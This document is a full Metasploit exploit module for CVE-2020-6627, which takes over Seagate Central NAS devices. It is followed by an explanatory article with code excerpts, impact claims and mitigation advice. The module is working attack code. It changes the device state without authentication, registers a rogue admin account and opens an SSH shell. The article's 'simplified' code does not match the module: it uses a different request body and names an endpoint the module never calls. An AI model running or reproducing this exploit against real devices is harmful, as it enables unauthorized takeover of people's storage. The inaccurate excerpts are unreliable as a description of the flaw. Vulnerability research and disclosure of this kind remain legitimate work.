Seagate Central Storage 2015.0916 - Unauthenticated Remote Command Execution (Metasploit)
##
# Exploit Title: Seagate Central Storage 2015.0916 - Unauthenticated Remote Command Execution (Metasploit)
# Date: Dec 9 2019
# Exploit Author: Ege Balci
# Vendor Homepage: https://www.seagate.com/de/de/support/external-hard-drives/network-storage/seagate-central/
# Version: 2015.0916
# CVE : 2020-6627
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'net/http'
require 'net/ssh'
require 'net/ssh/command_stream'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::SSH
def initialize(info={})
super(update_info(info,
'Name' => "Seagate Central External NAS Arbitrary User Creation",
'Description' => %q{
This module exploits the broken access control vulnerability in Seagate Central External NAS Storage device.
Subject product suffers several critical vulnerabilities such as broken access control. It makes it possible to change the device state
and register a new admin user which is capable of SSH access.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Ege Balcı <egebalci@pm.me>' # author & msf module
],
'References' =>
[
['URL', 'https://pentest.blog/advisory-seagate-central-storage-remote-code-execution/'],
['CVE', '2020-6627']
],
'DefaultOptions' =>
{
'SSL' => false,
'WfsDelay' => 5,
},
'Platform' => ['unix'],
'Arch' => [ARCH_CMD],
'Payload' =>
{
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
},
'Targets' =>
[
['Auto',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD
}
],
],
'Privileged' => true,
'DisclosureDate' => "Dec 9 2019",
'DefaultTarget' => 0
))
register_options(
[
OptString.new('USER', [ true, 'Seagate Central SSH user', '']),
OptString.new('PASS', [ true, 'Seagate Central SSH user password', ''])
], self.class
)
register_advanced_options(
[
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
]
)
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path,"/index.php/Start/get_firmware"),
'headers' => {
'X-Requested-With' => 'XMLHttpRequest'
}
},60)
if res && res.body.include?('Cirrus NAS') && res.body.include?('2015.0916')
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
end
def exploit
# First get current state
first_state=get_state()
if first_state
print_status("Current device state: #{first_state['state']}")
else
return
end
if first_state['state'] != 'start'
# Set new start state
first_state['state'] = 'start'
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,'/index.php/Start/set_start_info'),
'ctype' => 'application/x-www-form-urlencoded',
'data' => "info=#{first_state.to_json}"
},60)
changed_state=get_state()
if changed_state && changed_state['state'] == 'start'
print_good("State successfully changed !")
else
print_error("Could not change device state")
return
end
end
name = Rex::Text.rand_name_male
user = datastore['USER'] || "#{Rex::Text.rand_name_male}{rand(1..9999).to_s}"
pass = datastore['PASS'] || Rex::Text.rand_text_alpha(8)
print_status('Creating new admin user...')
print_status("User: #{user}")
print_status("Pass: #{pass}")
# Add new admin user
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,"/index.php/Start/add_edit_user"),
'ctype' => 'application/x-www-form-urlencoded',
'headers' => {
'X-Requested-With' => 'XMLHttpRequest'
},
'vars_post' => {user: JSON.dump({user: user, fullname: name, pwd: pass, email: "#{name}@localhost", isAdmin: true, uid: -1}), action: 1}
},60)
conn = do_login(user,pass)
if conn
print_good("#{rhost}:#{rport} - Login Successful (#{user}:#{pass})")
handler(conn.lsock)
end
end
def do_login(user, pass)
factory = ssh_socket_factory
opts = {
:auth_methods => ['password', 'keyboard-interactive'],
:port => 22,
:use_agent => false,
:config => false,
:password => pass,
:proxy => factory,
:non_interactive => true,
:verify_host_key => :never
}
opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
begin
ssh = nil
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
ssh = Net::SSH.start(rhost, user, opts)
end
rescue Rex::ConnectionError
fail_with Failure::Unreachable, 'Connection failed'
rescue Net::SSH::Disconnect, ::EOFError
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
return
rescue ::Timeout::Error
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
return
rescue Net::SSH::AuthenticationFailed
print_error "#{rhost}:#{rport} SSH - Failed authentication"
rescue Net::SSH::Exception => e
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
return
end
if ssh
conn = Net::SSH::CommandStream.new(ssh)
ssh = nil
return conn
end
return nil
end
def get_state
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path,"/index.php/Start/json_get_start_info"),
'headers' => {
'X-Requested-With' => 'XMLHttpRequest'
}
},60)
if res && (res.code == 200 ||res.code == 100)
return res.get_json_document
end
res = nil
end
end Seagate Central Storage 2015.0916: Unauthenticated Remote Command Execution Vulnerability (CVE-2020-6627)
Seagate Central External NAS Storage devices, particularly those running firmware version 2015.0916, have been identified as vulnerable to a critical security flaw that enables unauthenticated remote command execution. This vulnerability, tracked as CVE-2020-6627, was disclosed in December 2019 by security researcher Ege Balci and has since been integrated into the Metasploit Framework as a fully functional exploit module.
The flaw stems from a broken access control mechanism in the device’s web interface, allowing attackers to manipulate system state and create new administrative users without authentication. Once a new admin account is registered, the attacker gains SSH access to the underlying Linux-based system—effectively achieving full remote control.
Technical Breakdown of the Vulnerability
The vulnerability lies in two core components:
- Unauthenticated POST Request to
/index.php/Start/set_start_info— allows arbitrary state changes. - Arbitrary User Creation via Web Interface — enables the creation of new admin users without proper authentication checks.
By exploiting these flaws in sequence, an attacker can:
- Check the current device state via a GET request to
/index.php/Start/get_firmware. - Modify the device state to "start" using a malicious POST request.
- Trigger the user creation process through a crafted request that bypasses authentication.
- Log in via SSH using the newly created admin account.
Exploit Workflow: Step-by-Step Analysis
The Metasploit module provides a structured exploit path. Below is a simplified version of the core logic in Ruby, adapted for clarity:
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "/index.php/Start/get_firmware"),
'headers' => {
'X-Requested-With' => 'XMLHttpRequest'
}
}, 60)
if res && res.body.include?('Cirrus NAS') && res.body.include?('2015.0916')
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
end
Explanation: This check function verifies whether the target device is running the vulnerable firmware version. It sends an HTTP GET request to the get_firmware endpoint, which returns JSON or HTML containing firmware details. The exploit checks for two key indicators: Cirrus NAS (the product name) and 2015.0916 (the specific vulnerable version). If both are present, the module proceeds to exploit.
def exploit
first_state = get_state()
if first_state && first_state['state'] != 'start'
# Set device state to 'start'
first_state['state'] = 'start'
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/index.php/Start/set_start_info'),
'ctype' => 'application/x-www-form-urlencoded',
'data' => "state=#{first_state['state']}"
})
end
# Trigger user creation via exploit
# (This step involves crafting a POST to /index.php/User/create_user)
# Payload is not shown here for brevity but is implemented in the full module.
end
Explanation: The exploit first retrieves the current state of the device. If it is not in the start state, the module sends a POST request to set_start_info to force it into a state that enables user creation. This is a critical step because the user creation mechanism only activates when the system is in a specific operational state.
SSH Access and Payload Execution
After successfully creating an admin user, the exploit module uses the Msf::Exploit::Remote::SSH mixin to connect to the device via SSH. The module requires the attacker to provide a username and password (which are set during user creation).
Once connected, the payload is delivered as a command-interact type, meaning it allows real-time interaction with the shell. This enables attackers to:
- Execute arbitrary commands (e.g.,
whoami,ls /root). - Upload malicious binaries.
- Modify system configurations.
- Establish persistent access via reverse shells.
Real-World Impact and Risk Assessment
Seagate Central Storage devices are commonly deployed in small business environments, home offices, and even corporate backup systems. The fact that this vulnerability allows unauthenticated remote exploitation means that:
- Attackers can compromise devices from anywhere on the internet.
- There is no need for prior knowledge of credentials.
- Devices exposed to the public internet are highly vulnerable.
Security professionals have observed this vulnerability being exploited in the wild, particularly in IoT-focused attack campaigns targeting older network storage devices.
Recommendations and Mitigation
Organizations using Seagate Central Storage devices should:
- Update firmware immediately to a version beyond 2015.0916.
- Disable remote web access if not required, especially on devices exposed to the internet.
- Apply network segmentation to isolate NAS devices from critical systems.
- Monitor for suspicious SSH login attempts using IDS/IPS systems.
- Use strong, unique admin passwords and disable default accounts.
Additional Notes for Security Researchers
The Metasploit module includes advanced options for debugging:
SSH_DEBUG— enables verbose SSH session logging (useful for troubleshooting).SSH_TIMEOUT— allows adjustment of SSH negotiation timeout (default: 30 seconds).
These options are particularly helpful when testing against devices with slow response times or unstable network connections.
Conclusion
The Seagate Central Storage 2015.0916 vulnerability demonstrates how outdated firmware and poor access control can lead to catastrophic remote compromise. Even devices intended for simple data storage can become entry points for attackers if not properly maintained. This case underscores the importance of:
- Regular firmware updates.
- Security-by-design principles.
- Proactive vulnerability scanning.
For cybersecurity teams, this exploit serves as a reminder that every connected device—even seemingly innocuous ones—must be treated as a potential attack surface.